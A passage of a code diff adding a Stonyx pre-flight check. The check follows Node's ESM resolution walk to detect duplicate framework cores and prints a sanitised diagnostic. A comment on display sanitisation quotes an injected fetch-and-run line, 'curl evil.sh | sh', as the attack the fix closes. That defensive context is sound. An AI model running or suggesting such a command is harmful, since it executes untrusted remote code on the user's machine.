* entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
|
|
79
|
+
* argued, and it is why an unqualified "the CJS candidates are the same" is
|
|
80
|
+
* true of one enumeration and false of the other.
|
|
81
|
+
*
|
|
82
|
+
* BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
|
|
83
|
+
* candidate because `<app>/node_modules` is an ancestor of the module dir; two
|
|
84
|
+
* levels of nesting is not a candidate, because
|
|
85
|
+
* `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
|
|
86
|
+
* planted two levels deep resolves to the real core, and is correctly ignored.
|
|
87
|
+
*
|
|
88
|
+
* THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
|
|
89
|
+
* candidates still came from `require.resolve.paths`, `Module.globalPaths` was
|
|
90
|
+
* reviewed as the screen instead of a shape test, and rejected here on typing
|
|
91
|
+
* grounds plus the claim that the two "admit the identical set". MEASURED, that
|
|
92
|
+
* claim is FALSE, and false in the direction that matters: `globalPaths` filters
|
|
93
|
+
* by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
|
|
94
|
+
* a genuine walk entry, the provenance screen drops the walk entry too. Pointed
|
|
95
|
+
* at `<app>/node_modules` with a real second core inside it:
|
|
96
|
+
*
|
|
97
|
+
* NODE_PATH=<app>/node_modules provenance -> no core found
|
|
98
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
99
|
+
* NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
100
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
101
|
+
*
|
|
102
|
+
* That is a false NEGATIVE on the commonest tree there is — a second core in
|
|
103
|
+
* the app's own `node_modules` going invisible the moment a developer exports
|
|
104
|
+
* `NODE_PATH` at it. So the rejection was right and the stated reason was not:
|
|
105
|
+
* it is not an equal-but-untyped alternative, it is a narrower one that would
|
|
106
|
+
* have introduced a miss. Generating the walk retires the question entirely —
|
|
107
|
+
* there is no list to screen and no environment read — which is why neither
|
|
108
|
+
* screen survives here.
|
|
109
|
+
*
|
|
110
|
+
* ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
|
|
111
|
+
* the first candidate carrying a core is the one returned. It is Node's own
|
|
112
|
+
* order, verified positionally rather than assumed: a distinct core planted in
|
|
113
|
+
* each of the first four candidates and removed one at a time, `await import`
|
|
114
|
+
* selecting exactly this sequence.
|
|
115
|
+
*
|
|
116
|
+
* `fromDir` must already be realpath'd; `coreSeenBy` does that first.
|
|
117
|
+
*/
|
|
118
|
+
export declare function esmNodeModulesWalk(fromDir: string): string[];
|
|
119
|
+
/**
|
|
120
|
+
* The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
|
|
121
|
+
* if that package is `stonyx`.
|
|
122
|
+
*
|
|
123
|
+
* Stops at the first `package.json` rather than at the first one NAMED stonyx:
|
|
124
|
+
* the first is by definition the package that owns the file, and continuing
|
|
125
|
+
* past it would walk out of the resolved package and could report an unrelated
|
|
126
|
+
* ancestor — inside this repo's own worktree, that ancestor is the repo root,
|
|
127
|
+
* which IS named `stonyx`. That would make every fixture look like a match.
|
|
128
|
+
*
|
|
129
|
+
* EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
|
|
130
|
+
* load-bearing, and until D15 the entire suite could not tell the two
|
|
131
|
+
* behaviours apart — a mutant that walked past a non-stonyx manifest survived
|
|
132
|
+
* every test. A docblock asserting a property with no test that can red is the
|
|
133
|
+
* defect family this cluster exists to remove, so the function is exported for
|
|
134
|
+
* one reason: so that claim can fail.
|
|
135
|
+
*/
|
|
136
|
+
export declare function owningCore(startDir: string, report?: InconclusiveReporter): CorePackage | null;
|
|
137
|
+
/** The `stonyx` copy that is executing this code. */
|
|
138
|
+
export declare function runningCore(report?: InconclusiveReporter): CorePackage | null;
|
|
139
|
+
/**
|
|
140
|
+
* The `stonyx` copy a package installed at `moduleDir` would import.
|
|
141
|
+
*
|
|
142
|
+
* The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
|
|
143
|
+
* Node's order — because ESM is the resolver `loadModules` actually uses. The
|
|
144
|
+
* first candidate that carries a `stonyx` package root wins, which is exactly
|
|
145
|
+
* how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
|
|
146
|
+
* `require.resolve`, so a module whose nested core is present but unbuilt is
|
|
147
|
+
* still detected rather than silently skipped by an `exports` map.
|
|
148
|
+
*
|
|
149
|
+
* ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
|
|
150
|
+
* Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
|
|
151
|
+
* `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
|
|
152
|
+
* symlink before resolving the module's own imports. Walking the symlink path
|
|
153
|
+
* instead reads the app's flat `node_modules` and reports the running core for
|
|
154
|
+
* every module — the check would pass vacuously on exactly the installer
|
|
155
|
+
* `stonyx new` uses.
|
|
156
|
+
*
|
|
157
|
+
* Returns `null` when no copy is reachable at all — "cannot tell", handled as
|
|
158
|
+
* not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
|
|
159
|
+
* go to `report`; see `InconclusiveReporter`.
|
|
160
|
+
*/
|
|
161
|
+
export declare function coreSeenBy(moduleDir: string, report?: InconclusiveReporter): CorePackage | null;
|
|
162
|
+
/**
|
|
163
|
+
* Every discovered module that would import a DIFFERENT physical core.
|
|
164
|
+
*
|
|
165
|
+
* FAIL DIRECTION — this is the property, not an implementation detail. A
|
|
166
|
+
* module whose core cannot be resolved, and the case where the running core
|
|
167
|
+
* cannot identify itself, both report NOTHING. This guard exists to convert a
|
|
168
|
+
* silent wrong state into a loud one; it must not invent a boot failure out of
|
|
169
|
+
* an inconclusive probe. Every state it does report has two package roots in
|
|
170
|
+
* hand and has compared them.
|
|
171
|
+
*/
|
|
172
|
+
export declare function findForeignCores(modules: {
|
|
173
|
+
name: string;
|
|
174
|
+
dir: string;
|
|
175
|
+
}[], core?: CorePackage | null | undefined, report?: InconclusiveReporter): ForeignCore[];
|
|
176
|
+
/**
|
|
177
|
+
* The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
|
|
178
|
+
* `Stonyx modules with async loading must have a config/environment.js file` —
|
|
179
|
+
* which named a file that was present and correct, and named a module that was
|
|
180
|
+
* not the one that failed.
|
|
181
|
+
*
|
|
182
|
+
* Per `quality.md`, the replacement states what it does NOT cover, because the
|
|
183
|
+
* message it replaces is exactly the kind of overstated claim that made the
|
|
184
|
+
* next reader stop checking.
|
|
185
|
+
*/
|
|
186
|
+
export declare function duplicateCoreMessage(foreign: ForeignCore[]): string;
|
|
@@ -0,0 +1,377 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Invariant I1 of the Sprint 93 install-and-boot cluster — "one core".
|
|
3
|
+
*
|
|
4
|
+
* At `Stonyx.start()`, every discovered module must resolve the SAME physical
|
|
5
|
+
* `stonyx` package root as the running core. Otherwise the app has two
|
|
6
|
+
* framework singletons: `loadModules` runs on copy A, and a module whose own
|
|
7
|
+
* subtree carries copy B registers its config, its Chronicle types and its
|
|
8
|
+
* lifecycle hooks on B — which nobody ever `start()`ed.
|
|
9
|
+
*
|
|
10
|
+
* Why a PRE-FLIGHT and not a better `catch`. The catch only sees modules that
|
|
11
|
+
* happen to touch `Stonyx.config` at load time and therefore throw
|
|
12
|
+
* "Stonyx has not been initialized yet". A module that does not touch it at
|
|
13
|
+
* load time does not throw at all: it loads, it initialises, it reports
|
|
14
|
+
* success, and its hooks silently never fire. That failure is invisible today,
|
|
15
|
+
* and no improvement to the catch can reach it. Multiple cores is never a
|
|
16
|
+
* valid state, so it is detected up front and refused.
|
|
17
|
+
*
|
|
18
|
+
* Measured shape this exists for (abofs/stonyx#108, `stonyx new` scaffold at
|
|
19
|
+
* 0.2.3-beta.96): three distinct copies of the core on disk — `0.2.2`,
|
|
20
|
+
* `0.2.3-beta.6`, `0.2.3-beta.11` — because five sibling repos pin the core
|
|
21
|
+
* EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
|
|
22
|
+
* a sibling's different exact pin.
|
|
23
|
+
*/
|
|
24
|
+
import { readFileSync, realpathSync } from 'node:fs';
|
|
25
|
+
import { dirname, join } from 'node:path';
|
|
26
|
+
import { fileURLToPath } from 'node:url';
|
|
27
|
+
/** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
|
|
28
|
+
* `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
|
|
29
|
+
function realPath(path) {
|
|
30
|
+
try {
|
|
31
|
+
return realpathSync(path);
|
|
32
|
+
}
|
|
33
|
+
catch {
|
|
34
|
+
return path;
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
const IGNORE = () => { };
|
|
38
|
+
/**
|
|
39
|
+
* The directories ESM consults for a bare specifier, in the order it consults
|
|
40
|
+
* them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
|
|
41
|
+
*
|
|
42
|
+
* THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
|
|
43
|
+
* through `await import`, so the copy of `stonyx` a module "would import" is
|
|
44
|
+
* whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
|
|
45
|
+
* is generated rather than filtered, and that is the fix for a defect in each
|
|
46
|
+
* direction.
|
|
47
|
+
*
|
|
48
|
+
* TOO WIDE, the previous defect. The candidates used to come from
|
|
49
|
+
* `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
|
|
50
|
+
* folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
|
|
51
|
+
* prefix. ESM ignores every one of those, so honouring them invents a
|
|
52
|
+
* "duplicate" out of an ambient environment variable that the real import never
|
|
53
|
+
* consults. This workspace exports `NODE_PATH` at a different `stonyx`
|
|
54
|
+
* (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
|
|
55
|
+
* tree that boots into a hard refusal. Generating the walk REMOVES that failure
|
|
56
|
+
* mode rather than screening for it — nothing here reads the environment, so
|
|
57
|
+
* there is no list to get the screen wrong on.
|
|
58
|
+
*
|
|
59
|
+
* TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
|
|
60
|
+
* IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
|
|
61
|
+
* is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
|
|
62
|
+
* FOLLOWED BY the global folders of the paragraph above. It is the walk proper
|
|
63
|
+
* that never descends into a directory already named `node_modules`. **ESM's
|
|
64
|
+
* PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
|
|
65
|
+
* from a module at `<app>/node_modules/@stonyx/x`:
|
|
66
|
+
*
|
|
67
|
+
* import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
|
|
68
|
+
* await import('stonyx') -> that copy
|
|
69
|
+
* require.resolve('stonyx') -> MODULE_NOT_FOUND
|
|
70
|
+
*
|
|
71
|
+
* A genuine second core there was missed silently. Worse, because ESM reaches
|
|
72
|
+
* the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
|
|
73
|
+
* local core at `<app>/node_modules/stonyx` while the pre-flight reported
|
|
74
|
+
* success — this file's own opening paragraph ("it loads, it initialises, it
|
|
75
|
+
* reports success, and its hooks silently never fire") surviving the check
|
|
76
|
+
* written to catch it. Isolating control, moving nothing but the directory: the
|
|
77
|
+
* same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
|
|
78
|
+
*
|
|
79
|
+
* THE SET DELTA, both directions and named per enumeration — node v24.13.0,
|
|
80
|
+
* from that same module dir. Against the WALK PROPER the difference is one
|
|
81
|
+
* directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
|
|
82
|
+
* `<app>/node_modules/node_modules` (the miss above), and
|
|
83
|
+
* `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
|
|
84
|
+
* second direction is NOT empty and never was: `require.resolve.paths \ esm` =
|
|
85
|
+
* the three global folders (measured here: `~/.node_modules`,
|
|
86
|
+
* `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
|
|
87
|
+
* entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
|
|
88
|
+
* argued, and it is why an unqualified "the CJS candidates are the same" is
|
|
89
|
+
* true of one enumeration and false of the other.
|
|
90
|
+
*
|
|
91
|
+
* BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
|
|
92
|
+
* candidate because `<app>/node_modules` is an ancestor of the module dir; two
|
|
93
|
+
* levels of nesting is not a candidate, because
|
|
94
|
+
* `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
|
|
95
|
+
* planted two levels deep resolves to the real core, and is correctly ignored.
|
|
96
|
+
*
|
|
97
|
+
* THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
|
|
98
|
+
* candidates still came from `require.resolve.paths`, `Module.globalPaths` was
|
|
99
|
+
* reviewed as the screen instead of a shape test, and rejected here on typing
|
|
100
|
+
* grounds plus the claim that the two "admit the identical set". MEASURED, that
|
|
101
|
+
* claim is FALSE, and false in the direction that matters: `globalPaths` filters
|
|
102
|
+
* by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
|
|
103
|
+
* a genuine walk entry, the provenance screen drops the walk entry too. Pointed
|
|
104
|
+
* at `<app>/node_modules` with a real second core inside it:
|
|
105
|
+
*
|
|
106
|
+
* NODE_PATH=<app>/node_modules provenance -> no core found
|
|
107
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
108
|
+
* NODE_PATH unset (control) provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
109
|
+
* shape -> 0.0.0-APP-LOCAL-SECOND-CORE
|
|
110
|
+
*
|
|
111
|
+
* That is a false NEGATIVE on the commonest tree there is — a second core in
|
|
112
|
+
* the app's own `node_modules` going invisible the moment a developer exports
|
|
113
|
+
* `NODE_PATH` at it. So the rejection was right and the stated reason was not:
|
|
114
|
+
* it is not an equal-but-untyped alternative, it is a narrower one that would
|
|
115
|
+
* have introduced a miss. Generating the walk retires the question entirely —
|
|
116
|
+
* there is no list to screen and no environment read — which is why neither
|
|
117
|
+
* screen survives here.
|
|
118
|
+
*
|
|
119
|
+
* ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
|
|
120
|
+
* the first candidate carrying a core is the one returned. It is Node's own
|
|
121
|
+
* order, verified positionally rather than assumed: a distinct core planted in
|
|
122
|
+
* each of the first four candidates and removed one at a time, `await import`
|
|
123
|
+
* selecting exactly this sequence.
|
|
124
|
+
*
|
|
125
|
+
* `fromDir` must already be realpath'd; `coreSeenBy` does that first.
|
|
126
|
+
*/
|
|
127
|
+
export function esmNodeModulesWalk(fromDir) {
|
|
128
|
+
const walk = [];
|
|
129
|
+
for (let dir = fromDir;; dir = dirname(dir)) {
|
|
130
|
+
walk.push(join(dir, 'node_modules'));
|
|
131
|
+
if (dirname(dir) === dir)
|
|
132
|
+
return walk;
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
/**
|
|
136
|
+
* `null` when nothing is there — the ordinary case while walking up.
|
|
137
|
+
*
|
|
138
|
+
* A manifest that EXISTS but will not read or parse is a different state, and
|
|
139
|
+
* it is the fail-open site that had neither a signal nor a test. ENOENT and
|
|
140
|
+
* ENOTDIR mean "no package here"; anything else — EACCES from a `chmod 000`, or
|
|
141
|
+
* a SyntaxError from a corrupt manifest, which carries no `code` at all — means
|
|
142
|
+
* a package root was found and could not be inspected.
|
|
143
|
+
*/
|
|
144
|
+
function readPackageJson(dir, report = IGNORE) {
|
|
145
|
+
const file = join(dir, 'package.json');
|
|
146
|
+
try {
|
|
147
|
+
return JSON.parse(readFileSync(file, 'utf8'));
|
|
148
|
+
}
|
|
149
|
+
catch (error) {
|
|
150
|
+
const code = error?.code;
|
|
151
|
+
if (code !== 'ENOENT' && code !== 'ENOTDIR') {
|
|
152
|
+
report(`Stonyx: ${file} exists but could not be read as JSON (${code ?? error?.name ?? 'unknown error'}), ` +
|
|
153
|
+
'so it was not checked for a duplicate framework core.');
|
|
154
|
+
}
|
|
155
|
+
return null;
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
function asCore(dir, report = IGNORE) {
|
|
159
|
+
const pkg = readPackageJson(dir, report);
|
|
160
|
+
if (!pkg || pkg.name !== 'stonyx')
|
|
161
|
+
return null;
|
|
162
|
+
// A manifest with no string `version` is malformed, not absent. `'unknown'`
|
|
163
|
+
// keeps the row in the table: dropping the whole core because one field is
|
|
164
|
+
// missing would silently un-detect a real duplicate, which is the failure
|
|
165
|
+
// mode this file exists to remove.
|
|
166
|
+
return { root: realPath(dir), version: typeof pkg.version === 'string' ? pkg.version : 'unknown' };
|
|
167
|
+
}
|
|
168
|
+
/**
|
|
169
|
+
* The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
|
|
170
|
+
* if that package is `stonyx`.
|
|
171
|
+
*
|
|
172
|
+
* Stops at the first `package.json` rather than at the first one NAMED stonyx:
|
|
173
|
+
* the first is by definition the package that owns the file, and continuing
|
|
174
|
+
* past it would walk out of the resolved package and could report an unrelated
|
|
175
|
+
* ancestor — inside this repo's own worktree, that ancestor is the repo root,
|
|
176
|
+
* which IS named `stonyx`. That would make every fixture look like a match.
|
|
177
|
+
*
|
|
178
|
+
* EXPORTED FOR ITS GUARD. That paragraph is an argument that a behaviour is
|
|
179
|
+
* load-bearing, and until D15 the entire suite could not tell the two
|
|
180
|
+
* behaviours apart — a mutant that walked past a non-stonyx manifest survived
|
|
181
|
+
* every test. A docblock asserting a property with no test that can red is the
|
|
182
|
+
* defect family this cluster exists to remove, so the function is exported for
|
|
183
|
+
* one reason: so that claim can fail.
|
|
184
|
+
*/
|
|
185
|
+
export function owningCore(startDir, report = IGNORE) {
|
|
186
|
+
let dir = realPath(startDir);
|
|
187
|
+
for (;;) {
|
|
188
|
+
const pkg = readPackageJson(dir, report);
|
|
189
|
+
if (pkg)
|
|
190
|
+
return pkg.name === 'stonyx' ? asCore(dir, report) : null;
|
|
191
|
+
const parent = dirname(dir);
|
|
192
|
+
if (parent === dir)
|
|
193
|
+
return null;
|
|
194
|
+
dir = parent;
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
/** The `stonyx` copy that is executing this code. */
|
|
198
|
+
export function runningCore(report = IGNORE) {
|
|
199
|
+
return owningCore(dirname(fileURLToPath(import.meta.url)), report);
|
|
200
|
+
}
|
|
201
|
+
/**
|
|
202
|
+
* The `stonyx` copy a package installed at `moduleDir` would import.
|
|
203
|
+
*
|
|
204
|
+
* The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
|
|
205
|
+
* Node's order — because ESM is the resolver `loadModules` actually uses. The
|
|
206
|
+
* first candidate that carries a `stonyx` package root wins, which is exactly
|
|
207
|
+
* how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
|
|
208
|
+
* `require.resolve`, so a module whose nested core is present but unbuilt is
|
|
209
|
+
* still detected rather than silently skipped by an `exports` map.
|
|
210
|
+
*
|
|
211
|
+
* ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
|
|
212
|
+
* Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
|
|
213
|
+
* `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
|
|
214
|
+
* symlink before resolving the module's own imports. Walking the symlink path
|
|
215
|
+
* instead reads the app's flat `node_modules` and reports the running core for
|
|
216
|
+
* every module — the check would pass vacuously on exactly the installer
|
|
217
|
+
* `stonyx new` uses.
|
|
218
|
+
*
|
|
219
|
+
* Returns `null` when no copy is reachable at all — "cannot tell", handled as
|
|
220
|
+
* not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
|
|
221
|
+
* go to `report`; see `InconclusiveReporter`.
|
|
222
|
+
*/
|
|
223
|
+
export function coreSeenBy(moduleDir, report = IGNORE) {
|
|
224
|
+
const resolvedModuleDir = realPath(moduleDir);
|
|
225
|
+
for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
|
|
226
|
+
const core = asCore(join(nodeModulesDir, 'stonyx'), report);
|
|
227
|
+
if (core)
|
|
228
|
+
return core;
|
|
229
|
+
}
|
|
230
|
+
return null;
|
|
231
|
+
}
|
|
232
|
+
/**
|
|
233
|
+
* Every discovered module that would import a DIFFERENT physical core.
|
|
234
|
+
*
|
|
235
|
+
* FAIL DIRECTION — this is the property, not an implementation detail. A
|
|
236
|
+
* module whose core cannot be resolved, and the case where the running core
|
|
237
|
+
* cannot identify itself, both report NOTHING. This guard exists to convert a
|
|
238
|
+
* silent wrong state into a loud one; it must not invent a boot failure out of
|
|
239
|
+
* an inconclusive probe. Every state it does report has two package roots in
|
|
240
|
+
* hand and has compared them.
|
|
241
|
+
*/
|
|
242
|
+
export function findForeignCores(modules, core = undefined, report = IGNORE) {
|
|
243
|
+
const resolved = core === undefined ? runningCore(report) : core;
|
|
244
|
+
// The first fail-open, and the one with the widest blast radius: no core, no
|
|
245
|
+
// comparison, nothing checked at all. Reported here rather than inside
|
|
246
|
+
// `runningCore` so the same line is emitted however the caller arrived at it.
|
|
247
|
+
if (!resolved) {
|
|
248
|
+
report('Stonyx: the running framework core could not identify itself, so the duplicate-core pre-flight was skipped and a second core would not be reported.');
|
|
249
|
+
return [];
|
|
250
|
+
}
|
|
251
|
+
const foreign = [];
|
|
252
|
+
for (const { name, dir } of modules) {
|
|
253
|
+
const moduleCore = coreSeenBy(dir, report);
|
|
254
|
+
// A module that resolves NO core is not an inconclusive probe and is not
|
|
255
|
+
// reported: `coreSeenBy` walks exactly what the module would import, so
|
|
256
|
+
// "nothing found" means there is no second copy on that path to hide. The
|
|
257
|
+
// two states that CAN hide one report from where they occur.
|
|
258
|
+
if (!moduleCore || moduleCore.root === resolved.root)
|
|
259
|
+
continue;
|
|
260
|
+
foreign.push({ moduleName: name, moduleCore, runningCore: resolved });
|
|
261
|
+
}
|
|
262
|
+
return foreign;
|
|
263
|
+
}
|
|
264
|
+
/**
|
|
265
|
+
* NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
|
|
266
|
+
*
|
|
267
|
+
* `version` and the package root come from a manifest this app did not write.
|
|
268
|
+
* `moduleName` is narrower — it is a key from the app's own `devDependencies`,
|
|
269
|
+
* so forging it is an app author forging their own diagnostic — but it is
|
|
270
|
+
* rendered through the same `padEnd` table, and it caused the same two
|
|
271
|
+
* symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
|
|
272
|
+
* COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
|
|
273
|
+
* sh <===`, indented to match) and destroyed the column alignment, because the
|
|
274
|
+
* widths are computed from the raw multi-line label.
|
|
275
|
+
*
|
|
276
|
+
* It was left raw at three sites while its two neighbours were sanitised — the
|
|
277
|
+
* package ROOT derived from that same name is sanitised in the very same row.
|
|
278
|
+
* Two halves of one string treated differently is an oversight, not a
|
|
279
|
+
* judgement, so it is closed rather than argued down.
|
|
280
|
+
*
|
|
281
|
+
* This renders BEFORE any module entry point is imported, so it is reachable
|
|
282
|
+
* under `npm install --ignore-scripts`: the one mode in which no third-party
|
|
283
|
+
* code has otherwise executed.
|
|
284
|
+
*
|
|
285
|
+
* Printable ASCII only, and bounded, so a long value cannot push the rest of
|
|
286
|
+
* the message off screen either.
|
|
287
|
+
*/
|
|
288
|
+
/**
|
|
289
|
+
* Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
|
|
290
|
+
* one thing in this message a consumer acts on directly, and a truncated path
|
|
291
|
+
* is worse than a long one — the version is a label, the path is an
|
|
292
|
+
* instruction. Nothing longer than this can exist on the filesystems Node runs
|
|
293
|
+
* on, so in practice a root is sanitised and never shortened.
|
|
294
|
+
*
|
|
295
|
+
* WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
|
|
296
|
+
* rendered LAST on its line and is never `padEnd`ed, so its length costs
|
|
297
|
+
* nothing but its own wrap. The module name and the version are both inside
|
|
298
|
+
* PADDED columns whose widths are the max over every row, so one long value
|
|
299
|
+
* there pushes every other row's remaining columns off screen. Those two take
|
|
300
|
+
* the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
|
|
301
|
+
* so a real name is sanitised and never shortened either.
|
|
302
|
+
*/
|
|
303
|
+
const PATH_LIMIT = 1024;
|
|
304
|
+
function display(value, limit = 64) {
|
|
305
|
+
const clamped = value.replace(/[^\x20-\x7e]/g, '?');
|
|
306
|
+
return clamped.length > limit ? `${clamped.slice(0, limit)}...` : clamped;
|
|
307
|
+
}
|
|
308
|
+
/**
|
|
309
|
+
* The diagnostic. It replaces the message abofs/stonyx#108 was filed over —
|
|
310
|
+
* `Stonyx modules with async loading must have a config/environment.js file` —
|
|
311
|
+
* which named a file that was present and correct, and named a module that was
|
|
312
|
+
* not the one that failed.
|
|
313
|
+
*
|
|
314
|
+
* Per `quality.md`, the replacement states what it does NOT cover, because the
|
|
315
|
+
* message it replaces is exactly the kind of overstated claim that made the
|
|
316
|
+
* next reader stop checking.
|
|
317
|
+
*/
|
|
318
|
+
export function duplicateCoreMessage(foreign) {
|
|
319
|
+
const [first] = foreign;
|
|
320
|
+
if (!first)
|
|
321
|
+
throw new Error('duplicateCoreMessage called with no foreign cores');
|
|
322
|
+
const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
|
|
323
|
+
const single = foreign.length === 1;
|
|
324
|
+
// DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
|
|
325
|
+
// the SAME nested copy are two rows and two copies, not three. Found by
|
|
326
|
+
// running this against a real `stonyx new` tree: there the naive count was
|
|
327
|
+
// right by coincidence (three modules, three different copies), and it is
|
|
328
|
+
// wrong for the commonest npm shape, where siblings on one exact pin dedupe
|
|
329
|
+
// with each other.
|
|
330
|
+
const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
|
|
331
|
+
const rows = [
|
|
332
|
+
['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
|
|
333
|
+
...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
|
|
334
|
+
];
|
|
335
|
+
const labelWidth = Math.max(...rows.map(([label]) => label.length));
|
|
336
|
+
const versionWidth = Math.max(...rows.map(([, version]) => version.length));
|
|
337
|
+
const versions = [...new Set(foreign.map(({ moduleCore }) => moduleCore.version))];
|
|
338
|
+
// Only offer a pin when there IS one. Three modules pinning three different
|
|
339
|
+
// versions cannot be reconciled by any consumer-side pin, and naming one of
|
|
340
|
+
// them anyway is advice that does not work. The message this one replaces
|
|
341
|
+
// was wrong for exactly that reason — it asserted more than it knew.
|
|
342
|
+
//
|
|
343
|
+
// AND only when that pin is not ALREADY IN EFFECT. Same version at two roots
|
|
344
|
+
// is a duplicate INSTALL, not a version conflict — the shape
|
|
345
|
+
// `npm install -g stonyx` plus `stonyx new` produces, and the one the docs
|
|
346
|
+
// walk a consumer through — so telling them to pin the version their running
|
|
347
|
+
// core already IS, is advice that has demonstrably just failed. That is the
|
|
348
|
+
// same "asserts more than it knows" defect the whole message replaces.
|
|
349
|
+
const consumerRemedy = versions.length !== 1
|
|
350
|
+
? 'There is no consumer-side pin that fixes this: the modules disagree among themselves ' +
|
|
351
|
+
`(${versions.map(version => display(version)).join(', ')}). They must be republished with the peer shape above.`
|
|
352
|
+
: versions[0] === first.runningCore.version
|
|
353
|
+
? `Fix (this app, meanwhile): every copy on disk is already stonyx@${display(versions[0])}, so this is a duplicate ` +
|
|
354
|
+
'INSTALL and not a version conflict — no pin can merge them. Run one core: invoke the CLI from this app\'s own ' +
|
|
355
|
+
'node_modules/.bin/stonyx rather than a global install, and remove the redundant copy listed above.'
|
|
356
|
+
: `Fix (this app, meanwhile): pin stonyx@${display(versions[0])} so every copy dedupes to one.`;
|
|
357
|
+
return [
|
|
358
|
+
`Stonyx: ${copies} copies of the framework are installed and this app cannot be served.`,
|
|
359
|
+
'',
|
|
360
|
+
...rows.map(([label, version, root]) => ` ${label.padEnd(labelWidth)} ${version.padEnd(versionWidth)} ${root}`),
|
|
361
|
+
'',
|
|
362
|
+
`Config, logging and lifecycle hooks are registered on the running core. ${names} ` +
|
|
363
|
+
`${single ? 'imports' : 'import'} a different copy, so for ${single ? 'it' : 'them'} \`Stonyx.config\` is empty, ` +
|
|
364
|
+
`\`Stonyx.log\` throws "Stonyx has not been initialized yet", and ${single ? 'its' : 'their'} ` +
|
|
365
|
+
'startup and shutdown hooks never fire.',
|
|
366
|
+
'',
|
|
367
|
+
`Fix (module author): ${names} must declare stonyx in devDependencies plus a non-optional ` +
|
|
368
|
+
'peerDependencies range, never as an exact dependency — @stonyx/discord is the reference shape. ' +
|
|
369
|
+
consumerRemedy,
|
|
370
|
+
'',
|
|
371
|
+
'Scope of this check: it compares physical package ROOTS only. It does not check that the ' +
|
|
372
|
+
'single surviving copy is a compatible version, and it looks at @stonyx/* packages declared in ' +
|
|
373
|
+
'this app\'s devDependencies that carry the "stonyx-module" keyword — nothing else. A copy ' +
|
|
374
|
+
'dragged in by anything outside that set, including an @stonyx/* package declared in ' +
|
|
375
|
+
'dependencies rather than devDependencies, is not counted.',
|
|
376
|
+
].join('\n');
|
|
377
|
+
}
|